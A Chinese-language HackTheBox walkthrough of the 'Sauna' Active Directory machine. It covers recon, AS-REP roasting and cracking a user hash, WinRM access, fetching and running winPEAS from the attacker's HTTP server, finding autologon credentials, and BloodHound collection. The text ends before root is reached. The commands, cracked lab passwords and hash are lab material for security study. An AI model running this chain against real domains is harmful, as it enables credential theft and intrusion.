Warning

仅供安全学习，环境均为本地虚拟机或 CTF 靶场。请勿用于未授权目标。

介绍#

HTB
难度：Easy
OS: Windows
Writeup: 解锁

Sauna is an easy difficulty Windows machine that features Active Directory enumeration and exploitation.¹

host 别名：htb

分析#

侦察#

1
nmap -A htb

1
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-24 15:42 +0800
2
Nmap scan report for htb (10.129.46.111)
3
Host is up (0.19s latency).
4
Not shown: 987 filtered tcp ports (no-response)
5
PORT     STATE SERVICE       VERSION
6
53/tcp   open  domain        Simple DNS Plus
7
80/tcp   open  http          Microsoft IIS httpd 10.0
8
| http-methods:
9
|_  Potentially risky methods: TRACE
10
|_http-title: Egotistical Bank :: Home
11
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-09-24 14:42:08Z)
12
135/tcp  open  msrpc         Microsoft Windows RPC
13
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
14
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL, Site: Default-First-Site-Name)
15
445/tcp  open  microsoft-ds?
16
464/tcp  open  kpasswd5?
17
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
18
636/tcp  open  tcpwrapped
19
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL, Site: Default-First-Site-Name)
20
3269/tcp open  tcpwrapped
21
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
22
|_http-title: Not Found
23
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
24
Device type: general purpose
25
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
26
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
27
Aggressive OS guesses: Microsoft Windows Server 2019 (97%), Microsoft Windows 10 1903 - 22H2 (91%)
28
No exact OS matches for host (test conditions non-ideal).
29
Network Distance: 2 hops
30
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Note

Account Enumeration reconnaissance (LDAP)

确认这是一台 DC（Domain Controller），有 Web 服务（80/TCP）。

AD 认证使用 Kerberos，AD 域名：EGOTISTICAL-BANK.LOCAL。

User Flag#

先用 windapsearch 试试：

1
windapsearch -d EGOTISTICAL-BANK.LOCAL --dc htb -m users

没有返回域对象，行不通。

注意到网站 http://htb/about.html 中泄露了员工的名字：

Fergus Smith
Shaun Coins
Hugo Bear
Bowie Taylor
Sophie Driver
Steven Kerb

写入 name.txt：

再用 username-anarchy 处理名字：

1
username-anarchy --input-file name.txt --select-format first,flast,first.last,firstl > username.txt

1
impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/ -no-pass -dc-ip htb -usersfile username.txt

Note

“NP” 即 “Non-Preauth” 不需要预认证。

TODO：Kerberos 和预认证

得到 fsmith 的 AS-REP 哈希：

$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:2093ddd31e213611845ec0d64420edca$884aa7e07e8bf8eff5476e21644ef9c96b9fce8d375fc86997efb43b1910ff211f4781402b777e00f528aba8f73e8409b76ea9e1176feb411827febd7a9f47abd17bc08c36ad51e2f25be1885e24e7de31154ec5cd2c52693aa5ceaebe080901bfcb0a54736d51efb1024e7b27a2492017716a3a781af0d2018918f3a7eb68e65453487f425a15130d0c352f923a319b8faf4ab58a36551c1832678406a0c5122d4a8e2854ff525d6f11fd4f5e3bedfac1b23776463e48c7e1781b369df606279c381cab170eb48c681b59638fbec6526f44a550ac392d33e5d98c6fae9f8c83f31a722034ddabe9a65d543a4491c7ff28f13919b20a5f9751bb158c5cf01424

Note

AS-REP (Authentication Service Reply)

TODO

写入到 hash.txt：

1
echo '$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:2093ddd31e213611845ec0d64420edca$884aa7e07e8bf8eff5476e21644ef9c96b9fce8d375fc86997efb43b1910ff211f4781402b777e00f528aba8f73e8409b76ea9e1176feb411827febd7a9f47abd17bc08c36ad51e2f25be1885e24e7de31154ec5cd2c52693aa5ceaebe080901bfcb0a54736d51efb1024e7b27a2492017716a3a781af0d2018918f3a7eb68e65453487f425a15130d0c352f923a319b8faf4ab58a36551c1832678406a0c5122d4a8e2854ff525d6f11fd4f5e3bedfac1b23776463e48c7e1781b369df606279c381cab170eb48c681b59638fbec6526f44a550ac392d33e5d98c6fae9f8c83f31a722034ddabe9a65d543a4491c7ff28f13919b20a5f9751bb158c5cf01424' > hash.txt

Warning

由于 CVE-2026-42483²，hashcat v7.1.2 的 Kerberos hash parser 会出现堆缓冲溢出，造成 Salt-length exception 错误无法破解。

降级到 v7.1.1 即可。

使用 hashcat 爆破：³

1
hashcat -m 18200 hash.txt -o passwd.txt

得到密码：Thestrokes23

接下来使用凭证：

Username: fsmith
Password: Thestrokes23

通过 5985/TCP (WinRM) 登录到该用户：

1
evil-winrm -i htb -u fsmith -p Thestrokes23

在桌面下找到 user flag：

Root Flag#

接下来该提权了。

使用 winPEAS 枚举：

先在 Kali 开 HTTP 服务器让 DC 下载 winPEASx64.exe（似乎能比 upload 快）：

1
Invoke-WebRequest -Uri http://10.10.14.195/winPEASx64.exe -OutFile winPEASx64.exe

执行：

1
.\winPEASx64.exe

注意到自动登录用户 EGOTISTICALBANK\svc_loanmanager：

密码：Moneymakestheworldgoround!

dir C:\Users 得知用户名：svc_loanmgr。

重新用该用户登录：

1
evil-winrm -i htb -u svc_loanmgr -p Moneymakestheworldgoround!

成功。

用 BloodHound 获取 AD 域信息：

1
bloodhound-python -d EGOTISTICAL-BANK.LOCAL -ns 10.129.46.111 -u svc_loanmgr -p Moneymakestheworldgoround! -c ALL

1
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
2
INFO: Found AD domain: egotistical-bank.local
3
INFO: Getting TGT for user
4
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: unpack requires a buffer of 4 bytes
5
INFO: Connecting to LDAP server: SAUNA.EGOTISTICAL-BANK.LOCAL
6
INFO: Testing resolved hostname connectivity dead:beef::6926:26fe:7f49:9513
7
INFO: Trying LDAP connection to dead:beef::6926:26fe:7f49:9513
8
INFO: Found 1 domains
9
INFO: Found 1 domains in the forest
10
INFO: Found 1 computers
11
INFO: Connecting to LDAP server: SAUNA.EGOTISTICAL-BANK.LOCAL
12
INFO: Testing resolved hostname connectivity dead:beef::6926:26fe:7f49:9513
13
INFO: Trying LDAP connection to dead:beef::6926:26fe:7f49:9513
14
INFO: Found 7 users
15
INFO: Found 52 groups
16
INFO: Found 3 gpos
17
INFO: Found 1 ous
18
INFO: Found 19 containers
19
INFO: Found 0 trusts
20
INFO: Starting computer enumeration with 10 workers
21
INFO: Querying computer: SAUNA.EGOTISTICAL-BANK.LOCAL
22
INFO: Done in 01M 09S

然后启动 neo4j：

1
neo4j console

通过BloodHound 前端连接 neo4j：

1
sudo apt install bloodhound
2
bloodhound-start

将得到的 .json 文件打包：

1
zip info.zip *.json

References#

HTB - Official Walkthrough

Sauna Writeup

介绍#

分析#

侦察#

User Flag#

Root Flag#

References#

Footnotes#